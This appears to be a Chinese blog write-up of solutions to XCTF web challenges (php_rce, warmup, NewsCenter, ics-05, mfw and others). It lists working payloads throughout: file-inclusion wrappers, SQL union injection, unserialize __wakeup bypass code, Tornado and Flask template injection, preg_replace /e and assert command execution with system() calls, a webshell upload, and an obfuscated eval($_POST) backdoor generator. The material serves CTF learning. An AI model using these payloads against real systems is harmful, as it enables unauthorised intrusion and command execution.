攻防世界web进阶(第一页)

php_rce

利用peiqi Thinkphp 一键getshell 得flag

Web_php_include

源码如下


show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

php://过滤了 尝试使用 data:协议

page=data://text/plain,

查看源码得到flag

补充

php://协议

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
php://input + [POST DATA]执行php代码

如果有权限的话 可以利用此协议写入一句话

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),''); ?>

data://协议 也是来执行php代码的 和php:input差不多 但用法不同

  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  • 用法:

    data://text/plain,
    data://text/plain;base64,
    

ics-06

随便点到index.php?id=4 网页下 用bp 爆破对应的 id 数 得到flag

warmup

代码如下


    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; } ?>

首先访问hint.php 最后payload为: ?file=source.php?../…/…/…/…/ffffllllaaaagggg

就注意这个点吧

如果定义了路径,就会忽视 前面字符串 去找你写的../../../../../ffffllllaaaagggg

NewsCenter

一点过滤都没有

sqlmap 一把梭

或者手工post

search=-1'union select 1,group_concat(id,fl4g),3 from secret_table#

得到flag

NaNNaNNaNNaN-Batman

下载下来是乱码文件,不懂了搜了一下, 加一个alert()函数将其弹窗就行了

格式一下代码

function $() {
	var e = document.getElementById("c").value;
	if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
		var t = ["fl", "s_a", "i", "e}"];
		var n = ["a", "_h0l", "n"];
		var r = ["g{", "e", "_0"];
		var i = ["it'", "_", "n"];
		var s = [t, n, r, i];
		for (var o = 0; o < 13; ++o) {
			document.write(s[o % 4][0]);
			s[o % 4].splice(0, 1)
		}
	}
}
document.write('<input id="c"><button onclick=$()>Okbutton>');
delete _

浏览器console 一下 就行了

PHP2

index.phps 得到源码


if("admin"===$_GET[id]) {
  echo("

not allowed!

"
); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!

"
; echo "

Key: xxxxxxx

"
; } ?> Can you anthenticate to this website?

在index.php下进行操作

将a编码一下 就可,因为网页自动会解码一次,所以这里要编码两次

?id=%2561dmin

unserialize3

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

绕过wake_up 函数 只需要 参数个数大于实际参数个数就行 这里1 改成2

upload1

简单传个一句话木马 蚁剑连

Web_php_unserialize

代码如下

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化构造



class Demo {
    private $file = 'fl4g.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$A = new Demo('fl4g.php');
$C = serialize($A);
echo $C;


$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump(base64_encode($C));

easytornado

tornado模板注入

msg=Error存在 注入点

利用{{handler.settings}}拿到cookie

pylaod为

echo md5('f20b584e-691b-4d64-9ca0-a08a89227b6e'.md5('/fllllllllllllag'));

得到flag

shrine

ssTI 注入

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

ics-05

一乍看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NV87YbCs-1628162400596)(C:\Users\ASUS\Desktop\QQ截图20210805143017.png)]没啥发现

点进去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mwi5ayDW-1628162400598)(C:\Users\ASUS\Desktop\QQ截图20210805143032.png)]

发现这里有文件包含点

?page=php:filter/read=convert.base64-encode/resource=index.php

读源码


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "
Welcome My Admin !
"
; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
x-forwarded-for:127.0.0.1

这里我们先进行伪造,进入

这里估计是利用 preg_replace /e的命令执行漏洞了, 前提是低版本php

?pat=/e&rep=system('ls')&sub=123

前提是能执行此函数也就是说 匹配的字符串中要含有查找的内容

查找flag

GET /index.php?pat=/12/e&rep=system("find+-name+flag")&sub=12

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ju97NWMK-1628162400600)(C:\Users\ASUS\Desktop\QQ截图20210805145625.png)]

pat=/12/e&rep=system("ls+./s3chahahaDir/flag")

得到>flag.php

cat+./s3chahahaDir/flag/flag.php

得到flag

cyberpeace{3dc3d7735954e387edcd0ff7936d222b}

mfw

看见有page= 尝试文件包含无果

在about 界面中看见 git

用dirsearch 扫一下 发现 .git 文件泄露

GitHack.py 得到源码

重点在这



if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//这里的思路是将其闭合,然后assert(执行命令)
//尝试构造   
//page=aac') or system(phpinfo());//
//page=abc') or system("cat templates/flag.php");//
?>

assert 起到 命令执行的作用

记极客大挑战 rceme 的题目pyload

 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "
"
; $c='(eval($_POST[mochu7]))'; $d=urlencode(~$c); echo $d; ?> ———————————————— 版权声明:本文为CSDN博主「末 初」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/mochu7777777/article/details/105136633/

你可能感兴趣的:(web)